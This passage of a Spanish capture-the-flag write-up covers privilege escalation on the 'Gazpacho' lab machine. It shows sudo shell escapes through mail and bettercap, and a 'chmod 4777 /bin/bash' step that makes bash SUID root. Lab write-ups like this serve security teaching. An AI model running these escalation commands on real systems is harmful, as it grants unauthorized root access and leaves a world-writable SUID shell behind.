Entramos con el usuario pepino

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa pepino@192.168.0.100
Enter passphrase for key 'id_rsa': 
Linux gazpacho 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Mon Apr 29 18:48:07 2024 from 192.168.0.108
pepino@gazpacho:~$

┌──(kali㉿kali)-[~]

└─$ ssh -i id_rsa pepino@192.168.0.100

Enter passphrase for key 'id_rsa':

Linux gazpacho 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

You have mail.

Last login: Mon Apr 29 18:48:07 2024 from 192.168.0.108

pepino@gazpacho:~$

Probamos sudo -l

pepino@gazpacho:~$ sudo -l
Matching Defaults entries for pepino on gazpacho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User pepino may run the following commands on gazpacho:
    (tomate) NOPASSWD: /usr/bin/mail

pepino@gazpacho:~$ sudo -l

Matching Defaults entries for pepino on gazpacho:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User pepino may run the following commands on gazpacho:

(tomate) NOPASSWD: /usr/bin/mail

Mirando gtfobins vemos como escalar al usuario tomate

pepino@gazpacho:~$ sudo -u tomate /usr/bin/mail --exec='!/bin/sh'
$ bash -i
tomate@gazpacho:/home/pepino$

pepino@gazpacho:~$ sudo -u tomate /usr/bin/mail --exec='!/bin/sh'

$ bash -i

tomate@gazpacho:/home/pepino$

Finalmente volvemos a ejecutar sudo -l para lo que parece que es la última vez.

tomate@gazpacho:~$ sudo -l
Matching Defaults entries for tomate on gazpacho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User tomate may run the following commands on gazpacho:
    (root) NOPASSWD: /usr/bin/bettercap
tomate@gazpacho:~$ sudo /usr/bin/bettercap

tomate@gazpacho:~$ sudo -l

Matching Defaults entries for tomate on gazpacho:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User tomate may run the following commands on gazpacho:

(root) NOPASSWD: /usr/bin/bettercap

tomate@gazpacho:~$ sudo /usr/bin/bettercap

Esta vez no miraremos en gtfobins sino que vamos a la propia pagina de bettercap para leer el manual y vemos lo siguiente así que probamos

tomate@gazpacho:~$ sudo /usr/bin/bettercap


bettercap v2.32.0 (built for linux amd64 with go1.19.8) [type 'help' for a list of commands]

192.168.0.0/24 > 192.168.0.100  » [21:01:57] [sys.log] [war] Could not find mac for 
192.168.0.0/24 > 192.168.0.100  » !id
uid=0(root) gid=0(root) grupos=0(root)

192.168.0.0/24 > 192.168.0.100  » !chmod 4777 /bin/bash

tomate@gazpacho:~$ ls -l /bin/bash
-rwsrwxrwx 1 root root 1265648 abr 23  2023 /bin/bash

tomate@gazpacho:~$ sudo /usr/bin/bettercap

bettercap v2.32.0 (built for linux amd64 with go1.19.8) [type 'help' for a list of commands]

192.168.0.0/24 > 192.168.0.100 » [21:01:57] [sys.log] [war] Could not find mac for

192.168.0.0/24 > 192.168.0.100 » !id

uid=0(root) gid=0(root) grupos=0(root)

192.168.0.0/24 > 192.168.0.100 » !chmod 4777 /bin/bash

tomate@gazpacho:~$ ls -l /bin/bash

-rwsrwxrwx 1 root root 1265648 abr 23 2023 /bin/bash

Teniendo SUID en bash, escalamos a root para finalizar la maquina y ver las flags.

bash-5.2# find / -name "user.txt" -o -name "root.txt"
/home/tomate/user.txt
/root/root.txt

bash-5.2# find / -name "user.txt" -o -name "root.txt"

/home/tomate/user.txt

/root/root.txt

Somos root!!!!!

Hasta aquí la maquina Gazpacho de la plataforma Thehackerslabs

Thehackerslabs machines – Gazpacho Writeup

Thehackerslabs machines – Gazpacho Writeup

Tal vez te interese...

Deja una respuesta Cancelar la respuesta

Tal vez te interese...

Búsqueda

Tal vez te interese...

Deja una respuesta Cancelar la respuesta

Tal vez te interese...

Búsqueda

Populares

Nube de Tags